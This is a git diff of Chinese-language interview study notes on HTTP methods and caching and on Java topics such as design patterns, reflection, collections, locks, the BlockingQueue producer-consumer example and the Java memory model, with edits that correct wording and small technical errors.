幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
GET /pageX HTTP/1.1是幂等的。连续调用多次,客户端接收到的结果都是一样的:
```
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
```
POST /add_row HTTP/1.1不是幂等的。如果调用多次,就会增加多行记录:
```
POST /add_row HTTP/1.1
POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row
```
DELETE /idX/delete HTTP/1.1是幂等的,即便是不同请求之间接收到的状态码不一样:
```
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
DELETE /idX/delete HTTP/1.1 -> Returns 404
```
## 可缓存
如果要对响应进行缓存,需要满足以下条件:
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEADPUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。
2. 响应报文的 状态码是可缓存的,包括: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
## XMLHttpRequest
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest
> XMLHttpRequest 是一个 API它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做例如火狐就不会。
# 九、各版本比较
## HTTP/1.0 与 HTTP/1.1 的区别
HTTP/1.1 新增了以下内容:
1. 持久连接
2. 管线化处理
3. 虚拟主机
4. 状态码 100
5. 分块传输编码
6. 缓存处理字段
- 默认为长连接;
- 提供了范围请求功能;
- 提供了虚拟主机的功能;
- 多了一些缓存处理字段;
- 多了一些状态码。
具体内容见上文
## HTTP/1.1 与 HTTP/2.0 的区别
@ -709,9 +827,22 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
# 参考资料
- [图解 HTTP](https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A)
- 上野宣. 图解 HTTP[M]. Ren min you dian chu ban she, 2014.
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)

View File

@ -101,7 +101,7 @@ java.lang.Cloneable
## 1. 责任链
避免将请求的发送者附加到其接者,从而使其它对象也可以处理请求;将请求以对象的方式发送到链上直到请求被处理完毕。
避免将请求的发送者附加到其接者,从而使其它对象也可以处理请求;将请求以对象的方式发送到链上直到请求被处理完毕。
```java
java.util.logging.Logger#log()
@ -253,7 +253,7 @@ java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
## 5. 蝇量模式
利用共享的方式来支持大量的对象,这些对象一部分内部状态相同的,而另一份状态可以变化。
利用共享的方式来支持大量的对象,这些对象一部分内部状态相同的,而另一份状态可以变化。
Java 利用缓存来加速大量小对象的访问时间。
@ -268,7 +268,7 @@ java.lang.Character#valueOf(char)
提供一个占位符来控制对象的访问。
代理可以是一些轻量级的对象,它控制对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
代理可以是一些轻量级的对象,它控制对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
```java
java.lang.reflect.Proxy

View File

@ -392,7 +392,7 @@ MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
NIO 与普通 I/O 的区别主要有以下两点:
- NIO 是非阻塞的。应当注意FileChannel 不能切换到非阻塞模式,套接字 Channel 可以。
- NIO 面向I/O 面向块
- NIO 面向I/O 面向流
# 八、参考资料

View File

@ -199,7 +199,7 @@ try {
java.lang.CloneNotSupportedException: CloneTest
```
以上抛出了 CloneNotSupportedException这是因为 CloneTest 没有实现 Cloneable 接口。应该注意的是clone() 方法并不是 Cloneable 接口的方法,而是 Object 的一个 protect 方法。Cloneable 接口只是规定,如果一个类没有实现 Cloneable 接口又调用了 clone() 方法,就会抛出 CloneNotSupportedException。
以上抛出了 CloneNotSupportedException这是因为 CloneTest 没有实现 Cloneable 接口。应该注意的是clone() 方法并不是 Cloneable 接口的方法,而是 Object 的一个 protected 方法。Cloneable 接口只是规定,如果一个类没有实现 Cloneable 接口又调用了 clone() 方法,就会抛出 CloneNotSupportedException。
**2. 深拷贝与浅拷贝**
@ -235,7 +235,7 @@ Java 中有三个访问权限修饰符private、protected 以及 public
可以对类或类中的成员(字段以及方法)加上访问修饰符。
- 成员可见表示其它类可以用成员所在类的对象访问到该成员;
- 成员可见表示其它类可类的对象访问到该成员;
- 类可见表示其它类可以用这个类创建对象。
在理解类的可见性时,可以把类当做包中的一个成员,然后包表示一个类,那么就可以类比成员的可见性。
@ -503,13 +503,13 @@ public static void main(java.lang.String[]);
每个类都有一个 **Class** 对象,包含了与类有关的信息。当编译一个新类时,会产生一个同名的 .class 文件,该文件内容保存着 Class 对象。
类加载相当于 Class 对象的加载。类在第一次使用时才动态加载到 JVM 中,可以使用 Class.forName('com.mysql.jdbc.Driver.class') 这种方式来控制类的加载,该方法会返回一个 Class 对象。
类加载相当于 Class 对象的加载。类在第一次使用时才动态加载到 JVM 中,可以使用 Class.forName("com.mysql.jdbc.Driver") 这种方式来控制类的加载,该方法会返回一个 Class 对象。
反射可以提供运行时的类信息,并且这个类可以在运行时才加载进来,甚至在编译时期该类的 .class 不存在也可以加载进来。
Class 和 java.lang.reflect 一起对反射提供了支持java.lang.reflect 类库主要包含了以下三个类:
1. **Field** :可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字;
1. **Field** :可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字
2. **Method** :可以使用 invoke() 方法调用与 Method 对象关联的方法;
3. **Constructor** :可以用 Constructor 创建新的对象。
@ -535,7 +535,7 @@ Reflection is powerful, but should not be used indiscriminately. If it is possib
# 八、异常
Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error****Exception**,其中 Error 用来表示编译时系统错误
Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error****Exception**,其中 Error 用来表示 JVM 无法处理的错误(比如 java.lang.OutOfMemoryError
Exception 分为两种:

View File

@ -87,9 +87,21 @@ for (String item : list) {
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
```java
List list = Arrays.asList(1, 2, 3);
int[] arr = {1, 2, 3};
list = Arrays.asList(arr);
@SafeVarargs
public static <T> List<T> asList(T... a)
```
如果要将数组类型转换为 List 类型,应该注意的是参数列表为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
```java
Integer[] arr = {1, 2, 3};
List list = Arrays.asList(arr);
```
也可以使用以下方式生成 List。
```java
List list = Arrays.asList(1,2,3);
```
> [适配器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F)
@ -159,7 +171,7 @@ public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
```
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。这是 ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。这是 ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
```java
transient Object[] elementData; // non-private to simplify nested class access
@ -743,7 +755,7 @@ JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。
# 五、参考资料
- Java 编程思想
- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java-hashmap.html)
@ -752,4 +764,5 @@ JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。
- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
- [Java 集合细节asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)

View File

@ -18,26 +18,15 @@
* [线程通信](#线程通信)
* [五、线程状态转换](#五线程状态转换)
* [六、Executor](#六executor)
* [七、volatile](#七volatile)
* [保证内存可见性](#保证内存可见性)
* [禁止指令重排](#禁止指令重排)
* [八、内存模型](#八内存模型)
* [1. 硬件的效率与一致性](#1-硬件的效率与一致性)
* [2. Java 内存模型](#2-java-内存模型)
* [3. 主内存与工作内存](#3-主内存与工作内存)
* [4. 内存间交互操作](#4-内存间交互操作)
* [5. 内存模型三大特性](#5-内存模型三大特性)
* [6. 先行发生原则](#6-先行发生原则)
* [九、线程安全](#九线程安全)
* [1. Java 语言中的线程安全](#1-java-语言中的线程安全)
* [2. 线程安全的实现方法](#2-线程安全的实现方法)
* [十、锁优化](#十锁优化)
* [1. 自旋锁与自适应自旋](#1-自旋锁与自适应自旋)
* [2. 锁消除](#2-锁消除)
* [3. 锁粗化](#3-锁粗化)
* [4. 轻量级锁](#4-轻量级锁)
* [5. 偏向锁](#5-偏向锁)
* [十一、多线程开发良好的实践](#十一多线程开发良好的实践)
* [七、内存模型](#七内存模型)
* [主内存与工作内存](#主内存与工作内存)
* [内存模型三大特性](#内存模型三大特性)
* [先行发生原则](#先行发生原则)
* [八、线程安全](#八线程安全)
* [线程安全分类](#线程安全分类)
* [线程安全的实现方法](#线程安全的实现方法)
* [锁优化](#锁优化)
* [九、多线程开发良好的实践](#九多线程开发良好的实践)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -111,7 +100,7 @@ public class MyThread extends Thread {
实现接口会更好一些,因为:
1. Java 不支持多重继承,因此继承了 Thread 类就无法继承其它类,但是可以实现多个接口;
2. 类可能只要求可执行即可,继承整个 Thread 类开销会过大。
2. 类可能只要求可执行就行,继承整个 Thread 类开销会过大。
# 二、基础线程机制
@ -167,11 +156,19 @@ main() 属于非后台线程。
一个线程进入阻塞状态可能有以下原因:
1. 调用 Thread.sleep() 方法进入休眠状态
2. 通过 wait() 使线程挂起,直到线程得到 notify() 或 notifyAll() 消息(或者 java.util.concurrent 类库中等价的 signal() 或 signalAll() 消息;
1. 调用 Thread.sleep() 使线程睡眠
2. 调用 wait() 使线程挂起,直到线程得到 notify() 或 notifyAll() 消息(或者 java.util.concurrent 类库中等价的 signal() 或 signalAll() 消息;
3. 等待某个 I/O 的完成;
4. 试图在某个对象上调用其同步控制方法,但是对象锁不可用,因为另一个线程已经获得了这个锁。
**阻塞 睡眠 挂起**
阻塞是一种状态,而睡眠和挂起是一种手段,通过睡眠和挂起可以让一个线程进入阻塞状态。
睡眠和挂起这两种手段的区别是,挂起手段会释放对象锁,而阻塞手段不会。
应该注意的是,睡眠和挂起都可以设置一个等待时间,超过等待时间之后,线程会退出阻塞状态。但是如果不为挂起设置等待时间,那么它只能等到通知的到来才能退出阻塞状态。
## 中断
使用中断机制即可终止阻塞的线程。
@ -186,7 +183,7 @@ main() 属于非后台线程。
**2. Executor 的中断操作**
Executor 避免对 Thread 对象的直接操作,但是使用 interrupt() 方法必须持有 Thread 对象。Executor 使用 shutdownNow() 方法来中断它里面的所有线程shutdownNow() 方法会发送 interrupt() 调用给所有线程。
Executor 避免对 Thread 对象的直接操作,使用 shutdownNow() 方法来中断它里面的所有线程shutdownNow() 方法会发送 interrupt() 调用给所有线程。
如果只想中断一个线程,那么使用 Executor 的 submit() 而不是 executor() 来启动线程就可以持有线程的上下文。submit() 将返回一个泛型 Futrue可以在它之上调用 cancel(),如果将 true 传递给 cancel(),那么它将会发送 interrupt() 调用给特定的线程。
@ -194,7 +191,7 @@ Executor 避免对 Thread 对象的直接操作,但是使用 interrupt() 方
通过中断的方法来终止线程,需要线程进入阻塞状态才能终止。如果编写的 run() 方法循环条件为 true但是该线程不发生阻塞那么线程就永远无法终止。
interrupt() 方法会设置中断状态,可以通过 interrupted() 方法来检查中断状,从而判断一个线程是否已经被中断。
interrupt() 方法会设置中断状态,可以通过 interrupted() 方法来检查中断状,从而判断一个线程是否已经被中断。
interrupted() 方法在检查完中断状态之后会清除中断状态,这样做是为了确保一次中断操作只会产生一次影响。
@ -212,7 +209,7 @@ interrupted() 方法在检查完中断状态之后会清除中断状态,这样
而同步又可以保证互斥。即进程按一定顺序执行,可以保证在同一时刻只有一个进程能访问临界资源。但是同步不止用来实现互斥,例如生成者消费者问题,生产者和消费者进程之间的同步不是用来控制对临界资源的访问。
总结起来就是:通信 --> 同步 --> 互斥。
总结起来就是:通信 -> 同步 -> 互斥。
进程和线程在一定程度上类似,也可以用这些概念来描述。
@ -221,6 +218,8 @@ interrupted() 方法在检查完中断状态之后会清除中断状态,这样
1. 同步:可以和操作系统的互斥等同;
2. 通信:可以和操作系统的同步等同。
很多时候这三个概念都会混在一起用,不同的文章有不同的解释,不能说哪个是对的哪个是错的,只要自己能理解就行。
## 线程同步
给定一个进程内的所有线程都共享同一存储空间这样有好处又有坏处。这些线程就可以共享数据非常有用。不过在两个线程同时修改某一资源时这也会造成一些问题。Java 提供了同步机制,以控制对共享资源的互斥访问。
@ -247,9 +246,9 @@ public void func(String name) {
}
```
### 2. Lock
### 2. ReentrantLock
实现更细粒度的控制
可以使用 Lock 来对一个语句块进行同步
```java
private Lock lock;
@ -263,17 +262,33 @@ public int func(int value) {
}
```
ReentrantLock 是 java.util.concurrentJ.U.C包中的锁相比于 synchronized它多了一些高级功能
**等待可中断**
当持有锁的线程长期不释放锁的时候,正在等待的线程可以选择放弃等待,改为处理其他事情,可中断特性对处理执行时间非常长的同步块很有帮助。
**可实现公平锁**
公平锁是指多个线程在等待同一个锁时必须按照申请锁的时间顺序来依次获得锁而非公平锁则不保证这一点在锁被释放时任何一个等待锁的线程都有机会获得锁。synchronized 中的锁是非公平的ReentrantLock 默认情况下也是非公平的,但可以通过带布尔值的构造函数要求使用公平锁。
**锁绑定多个条件**
一个 ReentrantLock 对象可以同时绑定多个 Condition 对象,而在 synchronized 中,锁对象的 wait() 和 notify() 或 notifyAll() 方法可以实现一个隐含的条件,如果要和多于一个的条件关联的时候,就不得不额外地添加一个锁,而 ReentrantLock 则无须这样做,只需要多次调用 newCondition() 方法即可。
如果需要使用上述功能,选用 ReentrantLock 是一个很好的选择。从性能上来看,在新版本的 JDK 中对 synchronized 进行了很多优化,例如自旋锁等。目前来看它和 ReentrantLock 的性能基本持平了,因此性能因素不再是选择 ReentrantLock 的理由,而且 synchronized 有更大的优化空间,因此优先考虑 synchronized。
## 线程通信
### 1. wait() notify() notifyAll()
它们都属于 Object 的一部分,而不属于 Thread。
wait() 会在等待时将线程挂起,而不是忙等待,并且只有在 notify() 或者 notifyAll() 到达时才唤醒。
wait() 会在等待时将线程挂起,而不是忙等待,并且只有在 notify() 或者 notifyAll() 到达时才唤醒。可以通过这种机制让一个线程阻塞,直到某种特定条件满足。
sleep() 和 yield() 并没有释放锁,但是 wait() 会释放锁。
实际上,只有在同步控制方法或同步控制块里才能调用 wait() 、notify() 和 notifyAll()。
只有在同步控制方法或同步控制块里才能调用 wait() 、notify() 和 notifyAll()。
```java
private boolean flag = false;
@ -293,8 +308,10 @@ public synchronized void before() {
**wait() 和 sleep() 的区别**
这两种方法都能将线程阻塞,一种是使用挂起的方式,一种使用睡眠的方式。
1. wait() 是 Object 类的方法,而 sleep() 是 Thread 的静态方法;
2. wait() 会放弃锁,而 sleep() 不会。
2. 挂起会释放锁,睡眠不会。
### 2. BlockingQueue
@ -303,16 +320,16 @@ java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现:
- **FIFO 队列** LinkedBlockingQueue、ArrayListBlockingQueue固定长度
- **优先级队列** PriorityBlockingQueue
提供了阻塞的 take() 和 put() 方法:如果队列为空 take() 将一直阻塞到队列中有内容,如果队列为满 put() 将阻塞到队列有空闲位置。它们响应中断,当收到中断请求的时候会抛出 InterruptedException从而提前结束阻塞状态
提供了阻塞的 take() 和 put() 方法:如果队列为空 take() 将阻塞,直到队列中有内容;如果队列为满 put() 将阻塞,指到队列有空闲位置
阻塞队列的 take() 和 put() 方法是线程安全的。
它们响应中断,当收到中断请求的时候会抛出 InterruptedException从而提前结束阻塞状态。
是线程安全的。
**使用 BlockingQueue 实现生产者消费者问题**
```java
// 生产者
import java.util.concurrent.BlockingQueue;
public class Producer implements Runnable {
private BlockingQueue<String> queue;
@ -322,8 +339,8 @@ public class Producer implements Runnable {
@Override
public void run() {
System.out.println(Thread.currentThread().getName() + " is making product...");
String product = "made by " + Thread.currentThread().getName();
System.out.println(Thread.currentThread().getName() + " is making product.");
String product = "Made By " + Thread.currentThread().getName();
try {
queue.put(product);
} catch (InterruptedException e) {
@ -335,8 +352,6 @@ public class Producer implements Runnable {
```java
// 消费者
import java.util.concurrent.BlockingQueue;
public class Consumer implements Runnable {
private BlockingQueue<String> queue;
@ -347,8 +362,8 @@ public class Consumer implements Runnable {
@Override
public void run() {
try {
String product = queue.take();
System.out.println(Thread.currentThread().getName() + " is consuming product " + product + "...");
String product = queue.take();
System.out.println(Thread.currentThread().getName() + " is consuming product." + "( " + product + " )");
} catch (InterruptedException e) {
e.printStackTrace();
}
@ -358,21 +373,18 @@ public class Consumer implements Runnable {
```java
// 客户端
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
public class Client {
public static void main(String[] args) {
BlockingQueue<String> queue = new LinkedBlockingQueue<>(5);
for (int i = 0; i < 2; i++) {
new Thread(new Consumer(queue), "Consumer" + i).start();
new Thread(new Consumer(queue), "Consumer-" + i).start();
}
for (int i = 0; i < 5; i++) {
// 只有两个 Product因此只能消费两个其它三个消费者被阻塞
new Thread(new Producer(queue), "Producer" + i).start();
new Thread(new Producer(queue), "Producer-" + i).start();
}
for (int i = 2; i < 5; i++) {
new Thread(new Consumer(queue), "Consumer" + i).start();
new Thread(new Consumer(queue), "Consumer-" + i).start();
}
}
}
@ -380,16 +392,16 @@ public class Client {
```html
// 运行结果
Producer0 is making product...
Consumer0 is consuming product made by Consumer0...
Producer1 is making product...
Consumer1 is consuming product made by Consumer1...
Producer2 is making product...
Producer3 is making product...
Producer4 is making product...
Consumer2 is consuming product made by Consumer2...
Consumer3 is consuming product made by Consumer3...
Consumer4 is consuming product made by Consumer4...
Producer-0 is making product.
Consumer-0 is consuming product.( Made By Producer-0 )
Producer-1 is making product.
Consumer-1 is consuming product.( Made By Producer-1 )
Producer-2 is making product.
Producer-3 is making product.
Producer-4 is making product.
Consumer-2 is consuming product.( Made By Producer-2 )
Consumer-3 is consuming product.( Made By Producer-3 )
Consumer-4 is consuming product.( Made By Producer-4 )
```
# 五、线程状态转换
@ -399,9 +411,9 @@ Consumer4 is consuming product made by Consumer4...
1. 新建New创建后尚未启动
2. 可运行Runnale可能正在运行也可能正在等待 CPU 时间片;
3. 无限期等待Waiting等待其它线程显示地唤醒否则不会被分配 CPU 时间片;
4. 限期等待Timed Waiting等待其它线程显示地唤醒,在一定时间之后会被系统自动唤醒;
4. 限期等待Timed Waiting等待其它线程显示地唤醒,在一定时间之后会被系统自动唤醒;
5. 阻塞Blocking等待获取一个排它锁如果其线程释放了锁就会结束此状态
6. 死亡Terminated
6. 死亡Terminated:可以是线程结束任务之后自己结束,或者产生了异常而结束,中断机制就是使用了抛出中断异常的方式让一个阻塞的线程结束。
# 六、Executor
@ -420,70 +432,21 @@ for(int i = 0; i < 5; i++) {
}
```
# 七、volatile
# 七、内存模型
保证了内存可见性和禁止指令重排,没法保证原子性。
## 保证内存可见性
普通共享变量被修改之后,什么时候被写入主存是不确定的。
volatile 关键字会保证每次修改共享变量之后该值会立即更新到内存中,并且在读取时会从内存中读取值。
synchronized 和 Lock 也能够保证内存可见性。它们能保证同一时刻只有一个线程获取锁然后执行同步代码,并且在释放锁之前会将对变量的修改刷新到主存当中。不过只有对共享变量的 set() 和 get() 方法都加上 synchronized 才能保证可见性,如果只有 set() 方法加了 synchronized那么 get() 方法并不能保证会从内存中读取最新的数据。
## 禁止指令重排
在 Java 内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行,却会影响到多线程并发执行的正确性。
volatile 关键字通过添加内存屏障的方式来进制指令重排,即重排序时不能把后面的指令放到内存屏障之前。
可以通过 synchronized 和 Lock 来保证有序性,它们保证每个时刻只有一个线程执行同步代码,相当于是让线程顺序执行同步代码,自然就保证了有序性。
# 八、内存模型
## 1. 硬件的效率与一致性
## 主内存与工作内存
对处理器上的寄存器进行读写的速度比内存快几个数量级,为了解决这种速度矛盾,在它们之间加入了高速缓存。
每个处理器都有一个高速缓存,但是所有处理器共用一个主内存,因此高速缓存引入了一个新问题:缓存一致性。当多个处理器的运算都涉及同一块主内存区域时,将可能导致各自的缓存数据不一致。缓存不一致问题通常需要使用一些协议来解决
所有的变量都存储在主内存中,每个线程还有自己的工作内存,工作内存存储在高速缓存中,保存了被该线程使用到的变量的主内存副本拷贝,线程只能直接操作工作内存中的变量。
<div align="center"> <img src="../pics//352dd00d-d1bb-4134-845d-16a75bcb0e02.jpg"/> </div><br>
<div align="center"> <img src="../pics//600px-Sharedmem.jpg"/> </div><br>
除了增加高速缓存之外为了使得处理器内部的运算单元能尽量被充分利用处理器可能会对输入代码进行乱序执行Out-Of-Order Execution优化处理器会在计算之后将乱序执行的结果重组保证该结果与顺序执行的结果是一致的但并不保证程序中各个语句计算的先后顺序与输入代码中的顺序一致因此如果存在一个计算任务依赖另外一个计算任务的中间结果那么其顺序性并不能靠代码的先后顺序来保证。与处理器的乱序执行优化类似Java 虚拟机的即时编译器中也有类似的指令重排序Instruction Reorder优化。
## 内存模型三大特性
## 2. Java 内存模型
### 1. 原子性
Java 虚拟机规范中试图定义一种 Java 内存模型来屏蔽掉各种硬件和操作系统的内存访问差异,以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。在此之前,主流程序语言(如 C/C++等)直接使用物理硬件和操作系统的内存模型,但由于不同平台上内存模型的差异,有可能导致程序在一套平台上并发完全正常,而在另外一套平台上并发访问却经常出错,因此在某些场景就必须针对不同的平台来编写程序。
## 3. 主内存与工作内存
Java 内存模型的主要目标是定义程序中各个变量的访问规则即在虚拟机中将变量存储到内存和从内存中取出变量这样的底层细节。此处的变量Variables与 Java 编程中所说的变量有所区别,它包括了实例字段、静态字段和构成数组对象的元素,但不包括局部变量与方法参数,因为后者是线程私有的,不会被共享,自然就不会存在竞争问题。
Java 内存模型规定了所有的变量都存储在主内存Main Memory中。每条线程还有自己的工作内存线程的工作内存中保存了被该线程使用到的变量的主内存副本拷贝线程对变量的所有操作读取、赋值等都必须在工作内存中进行而不能直接读写主内存中的变量。不同的线程之间也无法直接访问对方工作内存中的变量线程间变量值的传递均需要通过主内存来完成线程、主内存、工作内存三者的交互关系如图所示。
<div align="center"> <img src="../pics//b02a5492-5dcf-4a69-9b5b-c2298b2cb81c.jpg"/> </div><br>
## 4. 内存间交互操作
Java 内存模型定义了 8 种操作来完成工作内存与主内存之间的交互:一个变量从主内存拷贝到工作内存、从工作内存同步回主内存。虚拟机实现时必须保证下面提及的每一种操作都是原子的、不可再分的。
- lock锁定作用于主内存的变量它把一个变量标识为一条线程独占的状态。
- unlock解锁作用于主内存的变量它把一个处于锁定状态的变量释放出来释放后的变量才可以被其他线程锁定。
- read读取作用于主内存的变量它把一个变量的值从主内存传输到线程的工作内存中以便随后的 load 动作使用。
- load载入作用于工作内存的变量它把 read 操作从主内存中得到的变量值放入工作内存的变量副本中。
- use使用作用于工作内存的变量它把工作内存中一个变量的值传递给执行引擎每当虚拟机遇到一个需要使用到变量的值的字节码指令时将会执行这个操作。
- assign赋值作用于工作内存的变量它把一个从执行引擎接收到的值赋给工作内存的变量每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作。
- store存储作用于工作内存的变量它把工作内存中一个变量的值传送到主内存中以便随后的 write 操作使用。
- write写入作用于主内存的变量它把 store 操作从工作内存中得到的变量的值放入主内存的变量中。
## 5. 内存模型三大特性
### 5.1 原子性
除了 long 和 double 之外的基本数据类型的访问读写是具备原子性的。
Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据的读写操作划分为两次 32 位的操作来进行,即虚拟机可以不保证 64 位数据类型的 load、store、read 和 write 这 4 个操作的原子性。但是目前各种平台下的商用虚拟机几乎都选择把 64 位数据的读写操作作为原子操作来对待。
Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据longdouble的读写操作划分为两次 32 位的操作来进行,也就是说对这部分数据的操作可以不具备原子性。
AtomicInteger、AtomicLong、AtomicReference 等特殊的原子性变量类提供了下面形式的原子性条件更新语句,使得比较和更新这两个操作能够不可分割地执行。
@ -501,106 +464,110 @@ public int next() {
}
```
如果应用场景需要一个更大范围的原子性保证Java 内存模型还提供了 lock 和 unlock 操作来满足这种需求,尽管虚拟机未把 lock 和 unlock 操作直接开放给用户使用,但是却提供了更高层次的字节码指令 monitorenter 和 monitorexit 来隐式地使用这两个操作,这两个字节码指令反映到 Java 代码中就是同步块——synchronized 关键字,因此在 synchronized 块之间的操作也具备原子性
也可以使用 synchronized 同步操作来保证操作具备原子性,它对应的虚拟机字节码指令为 monitorenter 和 monitorexit
### 5.2 可见性
### 2. 可见性
可见性是指当一个线程修改了共享变量的值,其他线程能立即得知这个修改
如果没有及时地对主内存与工作内存的数据进行同步,那么就会出现不一致问题。如果存在不一致的问题,一个线程对一个共享数据所做的修改就不能被另一个线程看到
Java 内存模型是通过在变量修改后将新值同步回主内存,在变量读取前从主内存刷新变量值这种依赖主内存作为传递媒介的方式来实现可见性的,无论是普通变量还是 volatile 变量都是如此,普通变量与 volatile 变量的区别是volatile 的特殊规则保证了新值能立即同步到主内存,以及每次使用前立即从主内存刷新。因此,可以说 volatile 保证了多线程操作时变量的可见性,而普通变量则不能保证这一点
volatile 可以保证可见性,它在修改一个共享数据时会将该值从工作内存同步到主内存,并且对一个共享数据进行读取时会先从主内存同步到工作内存
除了 volatile 之外Java 还有两个关键字能实现可见性,即 synchronized 和 final。同步块的可见性是由“对一个变量执行 unlock 操作之前,必须先把此变量同步回主内存中(执行 store、write 操作)”这条规则获得的,而 final 关键字的可见性是指:被 final 修饰的字段在构造器中一旦初始化完成并且构造器没有把“this”的引用传递出去this 引用逃逸是一件很危险的事情,其他线程有可能通过这个引用访问到“初始化了一半”的对象),那在其他线程中就能看见 final 字段的值
synchronized 也能够保证可见性,他能保证同一时刻只有一个线程获取锁然后执行同步代码,并且在释放锁之前会将对变量的修改刷新到主内存当中。不过只有对共享变量的 set() 和 get() 方法都加上 synchronized 才能保证可见性,如果只有 set() 方法加了 synchronized那么 get() 方法并不能保证会从内存中读取最新的数据
### 5.3 有序性
### 3. 有序性
